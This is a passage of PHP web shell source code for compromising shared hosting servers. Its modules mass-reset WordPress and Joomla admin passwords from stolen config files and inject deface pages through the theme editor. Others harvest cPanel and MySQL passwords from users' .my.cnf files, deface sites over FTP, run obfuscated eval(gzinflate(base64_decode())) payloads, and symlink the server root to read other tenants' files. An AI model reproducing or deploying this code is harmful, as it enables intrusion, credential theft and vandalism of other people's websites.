1352 error_reporting(0);
1353 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1354false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font
1355color=\"green\">success..</font><br>";
1356 } else {
1357 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1358false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"red\">mysql
1359fail</font></td>";
1360 }
1361
1362 }
1363
1364 elseif(chk_header($pageURL."ciprut/".$etcc[0]."-Joomla.txt")){
1365 $cnf=file_get_contents($pageURL."ciprut/".$etcc[0]."-Joomla.txt");
1366 $config=$pageURL."ciprut/".$owner["name"]."-Joomla.txt";
1367
1368 if(preg_match("%(JConfig|mosConfig)%",$cnf)){
1369
1370 if(preg_match("%JConfig%",$cnf)){
1371 $username=Find($cnf,"\$user = '","'");
1372 $password=Find($cnf,"\$password = '","'");
1373 $dbname=Find($cnf,"\$db = '","'");
1374 $prefix=Find($cnf,"\$dbprefix = '","'");
1375 $site_url=Find($cnf,"\$mailfrom = '","'");
1376 $site_url=explode("@",$site_url);
1377 $link=mysql_connect("localhost",$username,$password);
1378
1379 if($link){
1380 $hash=md5($pass);
1381 mysql_select_db($dbname,$link);
1382 $tab=$prefix."users";
1383 $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
1384 $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
1385 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1386false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
1387color=\"green\">success..</font><br>";
1388 } else {
1389 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1390false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
1391fail</font></td>";
1392 }
1393
1394 }
1395
1396 elseif(preg_match("%mosConfig%",$cnf)){
1397 $username=Find($cnf,"\$mosConfig_user = '","'");
1398 $password=Find($cnf,"\$mosConfig_password = '","'");
1399 $dbname=Find($cnf,"\$mosConfig_db = '","'");
1400 $prefix=Find($cnf,"\$mosConfig_dbprefix = '","'");
1401 $site_url=Find($cnf,"\$mailfrom = '","'");
1402 $site_url=explode("@",$site_url);
1403 $link=mysql_connect("localhost",$username,$password);
1404
1405 if($link){
1406 $hash=md5($pass);
1407 mysql_select_db($dbname,$link);
1408 $tab=$prefix."users";
1409 $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
1410 $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
1411 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1412false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
1413color=\"green\">success..</font><br>";
1414 } else {
1415 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1416false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
1417fail</font></td>";
1418 }
1419
1420 }
1421
1422 }
1423
1424 }
1425
1426 }
1427
1428 }
1429
1430 }
1431
1432 break;
1433 case"wp_def":
1434 $user="admin";
1435 $pass="foo";
1436 echo"<div align=\"center\">
1437<form action=\"\" method=\"POST\">
1438<label>Deface URL: </label> <input type=\"text\" style=\"width:450px;\" name=\"deface_page\"><br />
1439<input type=\"submit\" value=\"DEFACE\">
1440</form>
1441";
1442
1443 if($_POST){
1444 $deface=file_get_contents(trim($_POST["deface_page"]));
1445
1446 if(is_readable("/var/named")){
1447 echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\">";
1448 echo"<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td><td>DEF URL</td>";
1449 $list=scandir("/var/named");
1450 foreach($list as$domain){
1451
1452 if(strpos($domain,".db")){
1453 $domain=str_replace(".db","",$domain);
1454 $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
1455 $url="http://".$domain;
1456
1457 if(chk_header($pageURL."ciprut/".$owner["name"]."-WordPress.txt")){
1458 $config=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
1459 file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
1460 $cnf=file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
1461 $hostname=Find($cnf,"define('DB_HOST', '","');");
1462 $username=Find($cnf,"define('DB_USER', '","');");
1463 $password=Find($cnf,"define('DB_PASSWORD', '","');");
1464 $dbname=Find($cnf,"define('DB_NAME', '","');");
1465 $prefix=Find($cnf,"table_prefix = '","'");
1466 $link=mysql_connect($hostname,$username,$password);
1467
1468 if($link){
1469 $hash=crypt($pass);
1470 mysql_select_db($dbname,$link);
1471 $tab=$prefix."users";
1472 $query2=@mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
1473 $query3=@mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
1474 $req=@mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
1475 $data=mysql_fetch_array($req);
1476 $site_url=$data["option_value"];
1477 error_reporting(0);
1478 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1479false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"green\">[#]
1480User Pass Changed </font><br>";
1481 $post="log=admin&pwd=foo&rememberme=forever&wp-submit=Log In&testcookie=1";
1482 $def="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($deface))))."')));
1483exit; ?>";
1484 $buffer0=CurlPage($site_url."/wp-login.php",$post);
1485
1486 if(!preg_match("/logout/i",$buffer0)){
1487 echo"<font color='red'>[X] FAILED TO LOGIN</font><br />";
1488 } else {
1489 echo"<font color='green'>[#] LOGGED IN :D</font><br>";
1490 $urlz=$site_url."/wp-admin/theme-editor.php";
1491 $themeditor=CurlPage($urlz,$cookie,null);
1492
1493 if(preg_match("/update file/i",$themeditor)){
1494 echo"theme-editor opened<br /></td>";
1495 } else {
1496 echo"error
1497opening theme edtitor!</td>";
1498 }
1499
1500 $nola=explode(Chr(10),$themeditor);
1501 foreach($nola as$nline){
1502
1503 if(preg_match("%theme-editor\.php\\?file=%",$nline)&&preg_match("%\\((404\\.php|archive\\.php|comment\.php)\)%",strtolower($nline))){
1504 $modify[Find($nline,"(",")")]=Find($nline,"<a href=\"","\"");
1505 }
1506
1507 }
1508
1509 echo"<td>";
1510
1511 if(is_array($modify)){
1512 foreach($modify as$met=>$indfile){
1513 $nri=str_replace(".","_",$met);
1514 $nri="n".$nri;
1515 $indfile=str_replace("&","&",$indfile);
1516 $url=trim($site_url."/wp-admin/".$indfile);
1517 $themepage=CurlPage($url,"");
1518 $_wpnonce=Find($themepage,"name=\"_wpnonce\" value=\"","\"");
1519 $_file=Find($themepage,"name=\"file\" value=\"","\"");
1520 $nfile=explode("themes",$_file);
1521 $jfile=$site_url."/wp-content/themes".end($nfile);
1522 $url=$site_url."/wp-admin/theme-editor.php";
1523 $postme="newcontent=".$def."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File";
1524 $themedied=CurlPage($url,$postme);
1525
1526 if(preg_match("%<div id=\"message\" class=\"updated\">%",$themedied)){
1527 $theme=Find($themeditor,"<li><a href=\"theme-editor.php?file=404.php&theme=","\">404 Template");
1528
1529 if(preg_match("/twenty ten/i",$theme)){
1530 $theme="twentyten";
1531 }
1532
1533 elseif(preg_match("/twenty eleven/i",$theme)){
1534 $theme="twentyeleven";
1535 }
1536
1537 $theme=trim(str_replace("/","",$theme));
1538 $d=$site_url."/wp-content/themes/".$theme."/404.php";
1539 listall("wp.txt",$d.Chr(10));
1540 }
1541
1542 }
1543
1544 echo"<a href=".$d.">LINK</a><br />";
1545 echo"</td>";
1546 }
1547
1548 }
1549
1550 } else {
1551 echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
1552false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"red\">[x]
1553mysql fail</font></td>";
1554 }
1555
1556 }
1557
1558 }
1559
1560 }
1561
1562 }
1563
1564 }
1565
1566 break;
1567 case"uploader":
1568 echo"<center><form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
1569 echo"<center><input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\"
1570value=\"Upload\"></form></center>";
1571
1572 if($_POST["_upl"]=="Upload"){
1573
1574 if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){
1575 echo"<p align=\"center\"><font face=\"Verdana\"
1576size=\"1\"><font color=\"white\"> Done !!</font><br>";
1577 } else {
1578 echo"<font color=\"#FF0000\">Failed :( </font></p>
1579 </td></table></tr>
1580";
1581 }
1582
1583 }
1584
1585 }
1586
1587 }
1588}
1589elseif(isset($_GET['x']) && ($_GET['x'] == 'private')){
1590?>
1591<form action="?y=<?php echo $pwd; ?>&x=private" method="post">
1592<b><center>love you Salsha :* i have (mpc)</b>
1593</form>
1594
1595<?php }
1596
1597
1598elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
1599 @ob_start();
1600 @eval("phpinfo();");
1601 $buff = @ob_get_contents();
1602 @ob_end_clean();
1603 $awal = strpos($buff,"<body>")+6;
1604 $akhir = strpos($buff,"</body>");
1605 echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
1606}
1607elseif(isset($_GET['view']) && ($_GET['view'] != "")){
1608 if(is_file($_GET['view'])){
1609 if(!isset($file)) $file = magicboom($_GET['view']);
1610 if(!$win && $posix){
1611 $name=@posix_getpwuid(@fileowner($folder));
1612 $group=@posix_getgrgid(@filegroup($folder));
1613 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
1614 }
1615 else {
1616 $owner = $user;
1617 }
1618 $filn = basename($file);
1619 echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
1620 <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
1621 <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
1622 <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
1623 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
1624 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
1625 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
1626 </form>
1627 </td></tr>
1628 <tr><td>Size</td><td>".ukuran($file)."</td></tr>
1629 <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
1630 <tr><td>Owner</td><td>".$owner."</td></tr>
1631 <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
1632 <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
1633 <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
1634 <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
1635 <tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
1636 </table>
1637 ";
1638 if(isset($_GET['type']) && ($_GET['type']=='image')){
1639 echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
1640 }
1641 elseif(isset($_GET['type']) && ($_GET['type']=='code')){
1642 echo "<div class=\"viewfile\">";
1643 $file = wordwrap(@file_get_contents($file),"240","\n");
1644 @highlight_string($file);
1645 echo "</div>";
1646 }
1647 else {
1648 echo "<div class=\"viewfile\">";
1649 echo nl2br(htmlentities((@file_get_contents($file))));
1650 echo "</div>";
1651 }
1652 }
1653 elseif(is_dir($_GET['view'])){
1654 echo showdir($pwd,$prompt);
1655 }
1656
1657}
1658//////////////////////////////////////////////////
1659elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
1660
1661 if(isset($_POST['save'])){
1662 $file = $_POST['saveas'];
1663 $content = magicboom($_POST['content']);
1664 if($filez = @fopen($file,"w")){
1665 $time = date("d-M-Y H:i",time());
1666 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
1667 else $msg = "failed to save";
1668 @fclose($filez);
1669 }
1670 else $msg = "permission denied";
1671 }
1672 if(!isset($file)) $file = $_GET['edit'];
1673 if($filez = @fopen($file,"r")){
1674 $content = "";
1675 while(!feof($filez)){
1676 $content .= htmlentities(str_replace("''","'",fgets($filez)));
1677 }
1678 @fclose($filez);
1679 }
1680
1681?>
1682<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
1683<table class="cmdbox">
1684<tr><td colspan="2">
1685<textarea class="output" name="content">
1686<?php echo $content; ?>
1687</textarea>
1688<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
1689 <?php echo $msg; ?></td></tr>
1690</table>
1691</form>
1692<?php
1693}
1694elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
1695{
1696?>
1697<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
1698
1699<?php
1700 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1701 echo '<center><b>logged out</b></center>';
1702}
1703elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel'))
1704 {
1705 ?>
1706
1707 <a href="?<?php echo "path=".$path; ?>&x=brute><input class=inputzbut type=submit value="cpanel bruteforce" /></a>
1708 <a href="?<?php echo "path=".$path; ?>&x=cpcrack"><input class=inputzbut type=submit value="cpanel finder/cracker" /></a><br>
1709 <a href="?<?php echo "path=".$path; ?>&x=cpdef"><input class=inputzbut type=submit value="cpanel deface" /></a>
1710 <a href="?<?php echo "path=".$path; ?>&x=brute"><input class=inputzbut type=submit value="cpanel brute force" /></a>
1711 <?php
1712 }
1713elseif(isset($_GET['x']) && ($_GET['x'] == 'cpcrack'))
1714 {
1715 ?>
1716 <form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
1717 <?php
1718
1719@ini_set('display_errors',0);
1720function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
1721 $ar0=explode($marqueurDebutLien, $text);
1722 $ar1=explode($marqueurFinLien, $ar0[$i]);
1723 return trim($ar1[0]);
1724}
1725
1726echo '<h1>Cpanel Finder/Cracker</h1><br/>';
1727
1728echo "<center>";
1729$d0mains = @file('/etc/named.conf');
1730$domains = scandir("/var/named");
1731
1732if ($domains or $d0mains)
1733{
1734 $domains = scandir("/var/named");
1735 if($domains) {
1736echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
1737$count=1;
1738$dc = 0;
1739$list = scandir("/var/named");
1740foreach($list as $domain){
1741if(strpos($domain,".db")){
1742$domain = str_replace('.db','',$domain);
1743$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1744$dirz = '/home/'.$owner['name'].'/.my.cnf';
1745$path = getcwd();
1746
1747if (is_readable($dirz)) {
1748copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
1749$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
1750$password=entre2v2($p,'password="','"');
1751echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1752$dc++;
1753}
1754
1755}
1756}
1757echo '</table>';
1758$total = $dc;
1759echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
1760echo '</center>';
1761}else{
1762$d0mains = @file('/etc/named.conf');
1763 if($d0mains) {
1764echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
1765$count=1;
1766$dc = 0;
1767$mck = array();
1768foreach($d0mains as $d0main){
1769 if(@eregi('zone',$d0main)){
1770 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1771 flush();
1772 if(strlen(trim($domain[1][0])) >2){
1773 $mck[] = $domain[1][0];
1774 }
1775 }
1776}
1777$mck = array_unique($mck);
1778$usr = array();
1779$dmn = array();
1780foreach($mck as $o) {
1781 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1782 $usr[] = $infos['name'];
1783 $dmn[] = $o;
1784}
1785array_multisort($usr,$dmn);
1786$dt = file('/etc/passwd');
1787$passwd = array();
1788foreach($dt as $d) {
1789 $r = explode(':',$d);
1790 if(strpos($r[5],'home')) {
1791 $passwd[$r[0]] = $r[5];
1792 }
1793}
1794$l=0;
1795$j=1;
1796foreach($usr as $r) {
1797$dirz = '/home/'.$r.'/.my.cnf';
1798$path = getcwd();
1799if (is_readable($dirz)) {
1800copy($dirz, ''.$path.'/'.$r.'.txt');
1801$p=file_get_contents(''.$path.'/'.$r.'.txt');
1802$password=entre2v2($p,'password="','"');
1803echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1804$dc++;
1805 flush();
1806 $l=$l?0:1;
1807 $j++;
1808 }
1809 }
1810 }
1811echo '</table>';
1812$total = $dc;
1813echo '<br><h3>Total cPanel Found = '.$total.'</h3><br />';
1814echo '</center>';
1815
1816}
1817}else{
1818echo "<h3><i><font color='red'>ERROR</font><br><font color='red'>/var/named</font> or <font color='red'>etc/named.conf</font> Not Accessible!</i></h3>";
1819}
1820
1821echo "</body></html>";
1822?>
1823<?php }
1824elseif(isset($_GET['x']) && ($_GET['x'] == 'cpdef'))
1825 {
1826 ?>
1827 <form action="?path=<?php echo $path; ?>&x=cpdef" method="post">
1828<?php
1829$head = '<html>
1830<head>
1831<title>Auto Cpanel Defacer</title>
1832<script language=\'javascript\'>
1833function hide_div(id)
1834{
1835 document.getElementById(id).style.display = \'none\';
1836 document.cookie=id+\'=0;\';
1837}
1838function show_div(id)
1839{
1840 document.getElementById(id).style.display = \'block\';
1841 document.cookie=id+\'=1;\';
1842}
1843function change_divst(id)
1844{
1845 if (document.getElementById(id).style.display == \'none\')
1846 show_div(id);
1847 else
1848 hide_div(id);
1849}
1850</script>'; ?>
1851<html>
1852 <head>
1853 <?php
1854 echo $head ;
1855 echo '
1856
1857<table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
1858 <td width="100%" align=center valign="top" rowspan="1">
1859 <div class="hedr">
1860 <td height="10" align="left" class="td1"></td></tr><tr><td width="100%" align="center" valign="top" rowspan="1"><font color="red" face="comic sans ms"size="1"><b>
1861 <br><font face="Andalus" size="4" color=#58FAF4>Cpanel Auto Defacer</font><br>
1862 <br><br>
1863 <font color="RED" face="gothic" size="3"></font><br>
1864 </table>
1865';
1866?>
1867
1868
1869<body bgcolor=black><h6 style="text-align:center"><font color=white>
1870<p><form method=post>
1871 server ip: <input class=inputzbut type=text name=hi value=ip>
1872 username: <input class=inputzbut type=text name=tx value=>  
1873 password:<input class=inputzbut type=text name=p value=><p>
1874 file that you want to deface: <input class=inputzbut type=text name=ph value="index.php">
1875 <p><font color=red size=3>Deface page link : </font>
1876 <textarea rows=1 cols=50 class=inputzbut name=deface value="your daface page link">
1877 </textarea>
1878 <p><input class=inputzbut type=submit name=sm value="Submit" /><br>
1879 </form>
1880<?php
1881
1882if(isset($_POST['sm']))
1883{
1884 $ip=trim($_POST['hi']);
1885 $u=trim($_POST['tx']);
1886 $p=trim($_POST['p']);
1887 $d=trim($_POST['ph']);
1888 $df=trim($_POST['deface']);
1889 echo "<br><font color=white size=2>";
1890 echo "<font color=red size=3>server ip :</font> ".$ip;
1891 echo "<br><font color=red size=3>user :</font>  ".$u;
1892 echo "<br><font color=red size=3>password :</font>  ".$p;
1893 echo "<br><font color=red size=3>dirctory :</font>  ".$d;
1894 echo "<br><font color=red size=3>deface link :</font><br>".$df."<br>";
1895 $dl="public_html/".$d;
1896 $si= ftp_connect($ip);
1897
1898$try= ftp_login($si,$u,$p);
1899if ((!$si) || (!$try))
1900{
1901 echo "<br>could not connected :(";
1902 exit;
1903}
1904else
1905{
1906 echo "<br>connection done<br><br>";
1907}
1908$deface = ftp_put($si, $dl , $df, FTP_BINARY);
1909if ($deface)
1910{
1911 echo "hell yesh page got defaced successfully";
1912}
1913else
1914{
1915 echo "try manually :(";
1916}
1917 }
1918?>
1919 </strong>
1920 </td>
1921 </tr>
1922 <tr>
1923 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
1924 <td valign="top" bgcolor="#151515" colspan="5">
1925 <strong>
1926<form method="POST" target="_blank">
1927 <strong>
1928<input name="matikan" type="hidden" value="sekatan">
1929 </strong>
1930
1931<?php
1932if(''==($func=@ini_get('disable_functions')))
1933{
1934echo "<font color=white>No Security for Function</font></b>";
1935}else{
1936echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
1937echo "<font color=red>$func</font></b>";
1938echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
1939echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
1940 </strong>
1941 </td></tr>';
1942}
1943?></strong></td></tr></table></table></table>
1944<?php
1945}
1946///////////////////////////////////////////////////////////////////////////
1947elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ @eval(gzinflate(base64_decode($jumper))); "</div>"; }
1948elseif(isset($_GET['x']) && ($_GET['x'] == 'zonekerupuk')){ @eval(gzinflate(base64_decode($zonekerupuk))); "</div>"; }
1949#################################################################
1950########################################
1951########################
1952#####################
1953# START HERE
1954//ini sym file
1955////////////////////////////////////////////////////////////////////////////////////////////////////////////
1956elseif(isset($_GET['x']) && ($_GET['x'] == 'sf')) {@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);
1957$htaccess = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1958$op =@fopen ('sym/.htaccess','w');
1959fwrite($op ,$htaccess);
1960echo '<br><br><center><h2>Symlink File !</h2></center><center><br>
1961<div class="mybox"><h2 class="k2ll33d2">Symlink</h2><br>
1962<form method="post"> File Path:<br>
1963<input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/>
1964<br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br>
1965<input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></div></center>';
1966$target = $_POST['file'];
1967$symfile = $_POST['symfile'];
1968$symlink = $_POST['symlink'];
1969if ($symlink) {@symlink("$target","sym/$symfile");
1970echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><br><br><br><br></center>';}}
1971/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
1972//sym sec
1973elseif(isset($_GET['x']) && ($_GET['x'] == 'sec')){
1974$d0mains = @file("/etc/named.conf");
1975##httaces
1976if($d0mains){
1977@mkdir("k2",0777);
1978@chdir("k2");
1979@exe("ln -s / root");
1980$file3 = 'Options all
1981DirectoryIndex Sux.html
1982AddType text/plain .php
1983AddHandler server-parsed .php
1984AddType text/plain .html
1985AddHandler txt .html
1986Require None
1987Satisfy Any';
1988$fp3 = fopen('.htaccess','w');
1989$fw3 = fwrite($fp3,$file3);@fclose($fp3);
1990echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
1991<table align=center border=1 style='width:60%;border-color:#333333;'>
1992<tr>
1993<td align=center><font size=3>S. No.</font></td>
1994<td align=center><font size=3>Domains</font></td>
1995<td align=center><font size=3>Users</font></td>
1996<td align=center><font size=3>Symlink</font></td>
1997</tr>";
1998$dcount = 1;
1999foreach($d0mains as $d0main){
2000if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
2001flush();
2002if(strlen(trim($domains[1][0])) > 2){
2003$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2004echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>
2005<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
2006<td>".$user['name']."</td>
2007<td><a href='/k2/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
2008flush();
2009$dcount++;}}}
2010echo "</table>";
2011}else{
2012$TEST=@file('/etc/passwd');
2013if ($TEST){
2014@mkdir("k2",0777);
2015@chdir("k2");
2016exe("ln -s / root");
2017$file3 = 'Options all
2018 DirectoryIndex Sux.html
2019 AddType text/plain .php
2020 AddHandler server-parsed .php
2021 AddType text/plain .html
2022 AddHandler txt .html
2023 Require None
2024 Satisfy Any';
2025 $fp3 = fopen('.htaccess','w');
2026 $fw3 = fwrite($fp3,$file3);
2027 @fclose($fp3);
2028 echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
2029 <table align=center border=1><tr>
2030 <td align=center><font size=4>S. No.</font></td>
2031 <td align=center><font size=4>Users</font></td>
2032 <td align=center><font size=4>Symlink</font></td></tr>";
2033 $dcount = 1;
2034 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
2035 while(!feof($file)){
2036 $s = fgets($file);
2037 $matches = array();
2038 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2039 $matches = str_replace("home/","",$matches[1]);
2040 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2041 continue;
2042 echo "<tr><td align=center><font size=3>" . $dcount . "</td>
2043 <td align=center><font class=txt>" . $matches . "</td>";
2044 echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2045 $dcount++;}fclose($file);
2046 echo "</table>";}else{if($os != "Windows"){@mkdir("k2",0777);@chdir("k2");@exe("ln -s / root");$file3 = 'Options all
2047 DirectoryIndex Sux.html
2048 AddType text/plain .php
2049 AddHandler server-parsed .php
2050 AddType text/plain .html
2051 AddHandler txt .html
2052 Require None
2053 Satisfy Any';
2054 $fp3 = fopen('.htaccess','w');
2055 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
2056 echo "<br><br><center><h2>Symlink Server !</h2></center><br><br><center>
2057 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
2058 <table align=center border=1><tr>
2059 <td align=center><font size=4>id</font></td>
2060 <td align=center><font size=4>Users</font></td>
2061 <td align=center><font size=4>Symlink</font></td></tr>";
2062 $temp = "";$val1 = 0;$val2 = 1000;
2063 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
2064 if ($uid)$temp .= join(':',$uid)."\n";}
2065 echo '<br/>';$temp = trim($temp);$file5 =
2066 fopen("test.txt","w");
2067 fputs($file5,$temp);
2068 fclose($file5);$dcount = 1;$file =
2069 fopen("test.txt", "r") or exit("Unable to open file!");
2070 while(!feof($file)){$s = fgets($file);$matches = array();
2071 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
2072 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2073 continue;
2074 echo "<tr><td align=center><font size=3>" . $dcount . "</td>
2075 <td align=center><font class=txt>" . $matches . "</td>";
2076 echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2077 $dcount++;}
2078 fclose($file);
2079 echo "</table></div></center>";unlink("test.txt");
2080 } else
2081 echo "<center><font size=4>Cannot create Symlink</font></center>";
2082 }
2083 }
2084 }
2085/////////////////////////////////////////////////////////////////
2086## db dump
2087elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
2088 {
2089 ?>
2090 <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
2091 <?php
2092echo $head.'<p align="center">';
2093echo '
2094<table width=371 class=tabnet >
2095<tr><th colspan="2">Database Dump</th></tr>
2096<tr>
2097 <td>Server </td>
2098 <td><input class="inputz" type=text name=server size=52></td></tr><tr>
2099 <td>Username</td>
2100 <td><input class="inputz" type=text name=username size=52></td></tr><tr>
2101 <td>Password</td>
2102 <td><input class="inputz" type=text name=password size=52></td></tr><tr>
2103 <td>DataBase Name</td>
2104 <td><input class="inputz" type=text name=dbname size=52></td></tr>
2105 <tr>
2106 <td>DB Type </td>
2107 <td><form method=post action="'.$me.'">
2108 <select class="inputz" name=method>
